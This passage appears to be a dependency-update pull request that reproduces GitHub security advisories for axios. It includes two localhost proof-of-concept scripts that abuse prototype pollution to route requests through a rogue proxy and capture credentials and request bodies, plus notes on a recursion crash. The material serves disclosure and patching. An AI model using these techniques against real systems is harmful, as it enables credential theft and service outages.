Crash threshold on a default-stack Node.js process is roughly depth 2500-3000; 8000 is comfortably above that, and the payload is a few KB.

Impact

A remote, unauthenticated attacker who can influence an object that the application passes to axios as request data or params triggers an uncaught RangeError from inside the synchronous JSON.stringify call in defaultVisitor. In server-side applications that proxy or re-forward client JSON through axios -- the same threat model that motivated GHSA-62hf-57xw-28j9 -- this crashes the request handler and, in worker/cluster setups, the whole process. The previously shipped maxDepth guard does not stop it because the '{}' suffix path bypasses build() entirely. Same severity class as the original advisory (CWE-674 Uncontrolled Recursion, network-reachable DoS); the only difference is the attacker has to suffix one of their object keys with '{}' to land on the unguarded code path.

Severity

CVSS Score: 6.9 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios Node HTTP adapter can use an inherited proxy after interceptor config cloning

GHSA-gcfj-64vw-6mp9

More information

Details

Summary

Axios’ Node.js HTTP adapter can route requests through an attacker-controlled proxy when Object.prototype.proxy is polluted and request configuration is materialized as a regular object before dispatch.

Recent axios releases harden merged request config by creating a null-prototype object. However, request interceptors run after that merge and may return a replacement config. A common immutable interceptor pattern such as {...config} or Object.assign({}, config) converts the hardened config back into a normal object. Axios then dispatches that object without re-hardening it, and the Node HTTP adapter reads config.proxy through the prototype chain.

Impact

In a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can route affected HTTP requests through an attacker-controlled proxy.

The highest confirmed impact is for plaintext HTTP requests. The proxy can observe explicit Authorization headers, axios-generated Basic auth from config.auth, request method, absolute URL, Host, and request body content. The proxy can also return its own response to axios for the affected request.

This does not establish browser impact. It also does not establish HTTPS header or body disclosure under normal TLS validation.

Affected Functionality

Affected functionality is limited to axios requests that use the Node.js HTTP adapter, including default Node usage when the HTTP adapter is selected and explicit adapter: 'http' usage.

The relevant configuration path is config.proxy in the Node HTTP adapter. The hardened-bypass path requires a request interceptor such as:

api.interceptors.request.use((config) => ({
  ...config,
  headers: {
    ...config.headers,
    'X-App': 'demo'
  }
}));

Unaffected or mitigating conditions include browser adapters, the Node fetch adapter, no polluted Object.prototype.proxy, an own proxy: false or safe own proxy value on the config, and hardened releases where interceptors return the original null-prototype config instead of a regular object clone.

Technical Details

lib/core/mergeConfig.js creates a null-prototype merged config and uses own-property reads for merged values. This is intended to prevent polluted Object.prototype values from affecting config behavior.

lib/core/Axios.js runs request interceptors after the merge. In both the asynchronous and synchronous interceptor paths, axios passes the interceptor-returned config into dispatch.

lib/core/dispatchRequest.js accepts that returned config, transforms request data, selects the adapter, and calls the adapter without re-hardening or re-normalizing the config.

lib/adapters/http.js uses own-property reads for several sensitive fields, but the initial proxy dispatch path still passes config.proxy directly into setProxy(). If an interceptor returned a regular object, config.proxy can resolve to inherited Object.prototype.proxy.

Proof of Concept of Attack

import axios from './index.js';
import http from 'node:http';

for (const key of [
  'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY',
  'http_proxy', 'https_proxy', 'all_proxy',
  'NO_PROXY', 'no_proxy'
]) {
  delete process.env[key];
}

const listen = (handler) => new Promise((resolve, reject) => {
  const server = http.createServer(handler);
  server.once('error', reject);
  server.listen(0, '127.0.0.1', () => resolve(server));
});

const close = (server) => new Promise((resolve) => server.close(resolve));

const targetHits = [];
const proxyHits = [];

const target = await listen((req, res) => {
  targetHits.push(req.url);
  res.end('target');
});

const proxy = await listen((req, res) => {
  let body = '';
  req.on('data', (chunk) => body += chunk);
  req.on('end', () => {
    proxyHits.push({
      url: req.url,
      authorization: req.headers.authorization,
      host: req.headers.host,
      body
    });
    res.setHeader('content-type', 'application/json');
    res.end('{"server":"proxy"}');
  });
});

Object.prototype.proxy = {
  protocol: 'http',
  host: '127.0.0.1',
  port: proxy.address().port
};

const api = axios.create();

api.interceptors.request.use((config) => ({
  ...config,
  headers: {
    ...config.headers,
    'X-App': 'demo'
  }
}));

try {
  const url = `http://127.0.0.1:${target.address().port}/api/secret`;

  const res = await api.post(
    url,
    {secret: 'request-body-secret'},
    {headers: {Authorization: 'Bearer EXPLICIT_SECRET'}}
  );

  console.log({
    response: res.data,
    targetHits,
    proxyHits,
    finalConfigHasOwnProxy: Object.hasOwn(res.config, 'proxy')
  });
} finally {
  delete Object.prototype.proxy;
  await close(target);
  await close(proxy);
}

Expected vulnerable result: the response comes from the proxy, targetHits is empty, and proxyHits contains the absolute URL, authorization header, host header, and request body.

Workarounds

Set an own proxy: false on affected requests or on an axios instance when proxy support is not required.

Avoid request interceptors that return regular object clones of config in hardened releases. Returning the original config or cloning into a null-prototype object avoids this specific bypass, but this is fragile and should not replace a fix.

Use the Node fetch adapter for affected requests where its behavior is compatible with the application.

Original Report

Summary

Axios hardens merged request config by creating a null-prototype object, preventing polluted Object.prototype properties from influencing request behavior. Request interceptors run after that hardening, and a normal immutable
interceptor pattern such as {...config} or Object.assign({}, config) re-materializes the config as a regular object. Axios then dispatches that interceptor-returned object without re-hardening it. In the Node HTTP adapter, config.proxy
is read through the prototype chain, allowing a polluted Object.prototype.proxy to route authenticated HTTP requests through an attacker-controlled proxy.

Impact

In a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can cause affected axios requests to be sent through an attacker-controlled proxy when the application uses a
request interceptor that returns a plain object copy of the config.

Verified local impact:

Authenticated request redirection to attacker-controlled proxy.
Disclosure of explicit Authorization headers.
Disclosure of axios-generated Basic auth headers from config.auth.
Disclosure of request metadata: method, absolute URL, Host header.
Disclosure of POST body content.

This report does not claim browser impact or proven HTTPS credential disclosure. The demonstrated credential and body disclosure is for Node HTTP-adapter requests over HTTP/plaintext.

Affected component

The affected component is the Node.js HTTP adapter request path after request interceptors have run.

The issue requires:

Node.js HTTP adapter usage.
A polluted Object.prototype.proxy.
A request interceptor that returns a plain object copy of the config.
No own proxy: false or safe own proxy property on the request config.

Affected versions

Confirmed affected for this specific hardening-bypass variant:

axios@1.15.2
axios@1.16.0

axios@1.16.0 was the latest published version observed via npm view axios version during validation.

Related older behavior observed during testing:

1.13.0, 1.13.6, 1.14.0, 1.15.0, and 1.15.1 routed via inherited Object.prototype.proxy even without the interceptor re-materialization step. That is related background, not the narrowed hardening-bypass variant described here.

Root cause

Initial hardening

Axios initially hardens merged request config by creating a null-prototype object in mergeConfig(), which is meant to prevent inherited Object.prototype properties from influencing request behavior.
Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/mergeConfig.js#L21-L25
Interceptor re-materialization

Request interceptors run after that hardening step, and axios allows an interceptor to return a replacement config object. A common immutable pattern such as {...config} or Object.assign({}, config) converts the hardened null-
prototype config back into a normal object with Object.prototype as its prototype.
Permalinks: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L187-L199, https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L204-L218
No post-interceptor re-hardening

Axios passes the interceptor-returned config into request dispatch without restoring the null-prototype property or otherwise normalizing the object into an own-property-only structure.
Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/dispatchRequest.js#L34-L48
Prototype-chain read of proxy in the Node adapter

The Node HTTP adapter later consults config.proxy, and this read is reachable through the prototype chain once the interceptor has re-materialized the config as a normal object. As a result, a polluted Object.prototype.proxy can
redirect the outgoing authenticated request through an attacker-controlled proxy.
Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/adapters/http.js#L816-L820

Why this is a security issue and not intended behavior

Axios’ threat model explicitly treats polluted Object.prototype config reads as high-impact read-side gadgets and states that axios defends reachable config-read gadgets through own-property checks and null-prototype structures. The
existing regression tests also assert that a polluted Object.prototype.proxy must not route requests through an attacker proxy.

This behavior is therefore a bypass of axios’ existing prototype-pollution hardening, not merely a generic “polluted process” complaint. The interceptor does not need to be malicious; it can be ordinary application code that returns an
immutable copy of the config. The attacker-controlled piece is the polluted prototype property supplied by a separate vulnerability or dependency.

Realistic threat model

A realistic exploit chain is:

A transitive dependency or upstream parser bug allows prototype pollution in a Node.js process.
The polluted property is Object.prototype.proxy, with host and port pointing to an attacker-controlled proxy.
The application uses axios with a request interceptor that returns a plain object copy, such as adding headers immutably.
The application sends an HTTP request with credentials or sensitive body data.
Axios routes that request through the inherited proxy configuration.

This requires a prototype pollution primitive and a compatible interceptor pattern. It does not require the attacker to control the interceptor.

Proof of concept

Save as poc.mjs in the axios repository root:

  import axios from './index.js';
  import http from 'node:http';

  const proxyEnvKeys = [
    'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY',
    'http_proxy', 'https_proxy', 'all_proxy',
    'NO_PROXY', 'no_proxy'
  ];

  for (const key of proxyEnvKeys) delete process.env[key];

  const listen = (handler) => new Promise((resolve, reject) => {
    const server = http.createServer(handler);
    server.once('error', reject);
    server.listen(0, '127.0.0.1', () => resolve(server));
  });

  const close = (server) => new Promise((resolve) => server.close(resolve));

  const targetHits = [];
  const proxyHits = [];

  const target = await listen((req, res) => {
    let body = '';
    req.on('data', (chunk) => body += chunk);
    req.on('end', () => {
      targetHits.push({
        url: req.url,
        method: req.method,
        authorization: req.headers.authorization || null,
        body
      });
      res.writeHead(200, {'Content-Type': 'application/json'});
      res.end(JSON.stringify({server: 'target'}));
    });
  });

  const proxy = await listen((req, res) => {
    let body = '';
    req.on('data', (chunk) => body += chunk);
    req.on('end', () => {
      proxyHits.push({
        url: req.url,
        method: req.method,
        authorization: req.headers.authorization || null,
        host: req.headers.host || null,
        body
      });
      res.writeHead(200, {'Content-Type': 'application/json'});
      res.end(JSON.stringify({server: 'proxy'}));
    });
  });

  Object.prototype.proxy = {
    protocol: 'http',
    host: '127.0.0.1',
    port: proxy.address().port
  };

  const api = axios.create();

  api.interceptors.request.use((config) => ({
    ...config,
    headers: {
      ...config.headers,
      'X-App': 'demo'
    }
  }));

  try {
    const url = `http://127.0.0.1:${target.address().port}/api/secret`;

    const explicit = await api.get(url, {
      headers: {Authorization: 'Bearer EXPLICIT_SECRET'}
    });

    proxyHits.length = 0;
    targetHits.length = 0;

    const basic = await api.get(url, {
      auth: {username: 'svc-account', password: 'prod-secret'}
    });

    proxyHits.length = 0;
    targetHits.length = 0;

    const post = await api.post(url, {secret: 'request-body-secret'}, {
      headers: {Authorization: 'Bearer EXPLICIT_SECRET'}
    });

    console.log(JSON.stringify({
      explicitResponse: explicit.data,
      basicResponse: basic.data,
      postResponse: post.data,
      targetHits,
      proxyHits,
      finalConfigPrototype:
        Object.getPrototypeOf(post.config) === Object.prototype
          ? 'Object.prototype'
          : 'other',
      finalConfigHasOwnProxy:
        Object.prototype.hasOwnProperty.call(post.config, 'proxy')
    }, null, 2));
  } finally {
    delete Object.prototype.proxy;
    a

> ✂ **Note**
> 
> PR body was truncated to here.

Update dependency axios to v0.33.0 [SECURITY]

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Update dependency axios to v0.33.0 [SECURITY]#405

Update dependency axios to v0.33.0 [SECURITY]#405
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Axios: Deep formToJSON Key Recursion Can Cause Denial of Service

Details

Summary

Impact

Affected Functionality

Technical Details

Proof of Concept of Attack

Workarounds

Summary

Details

PoC

Impact

Severity

References

Axios: Excessive recursion in formDataToJSON can cause denial of service

Details

Summary

Impact

Affected Functionality

Technical Details

Proof of Concept of Attack

Workarounds

Axios SSRF via Incomplete Loopback Detection

CWE-918 | CVSS 7.5 (HIGH) | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

1. Classification

2. Description

Summary

Root Cause

Attack Vector

3. Proof of Concept

Phase 1: Logic Verification

Phase 2: Docker E2E Reproduction

Phase 3: Actual Axios Client

4. Impact

Attack Scenario

Potential Consequences

Likelihood

5. Remediation

Code Fix

Workarounds

Severity

References

Axios: NO_PROXY bypass for 0.0.0.0 local addresses in axios

Details

Summary

Impact

Affected Functionality

Technical Details

Proof of Concept of Attack

Workarounds

Summary

Details

Affected versions

Root cause

Proof of Concept of Attack

Workarounds

Summary

Details

PoC

Impact

Severity

References

Axios Node HTTP adapter can use an inherited proxy after interceptor config cloning

Details

Summary

Impact

Affected Functionality

Technical Details

Proof of Concept of Attack

Workarounds

Summary

Impact

Affected component

Affected versions

Root cause

Why this is a security issue and not intended behavior

renovate Bot commented Jul 21, 2026 •

edited

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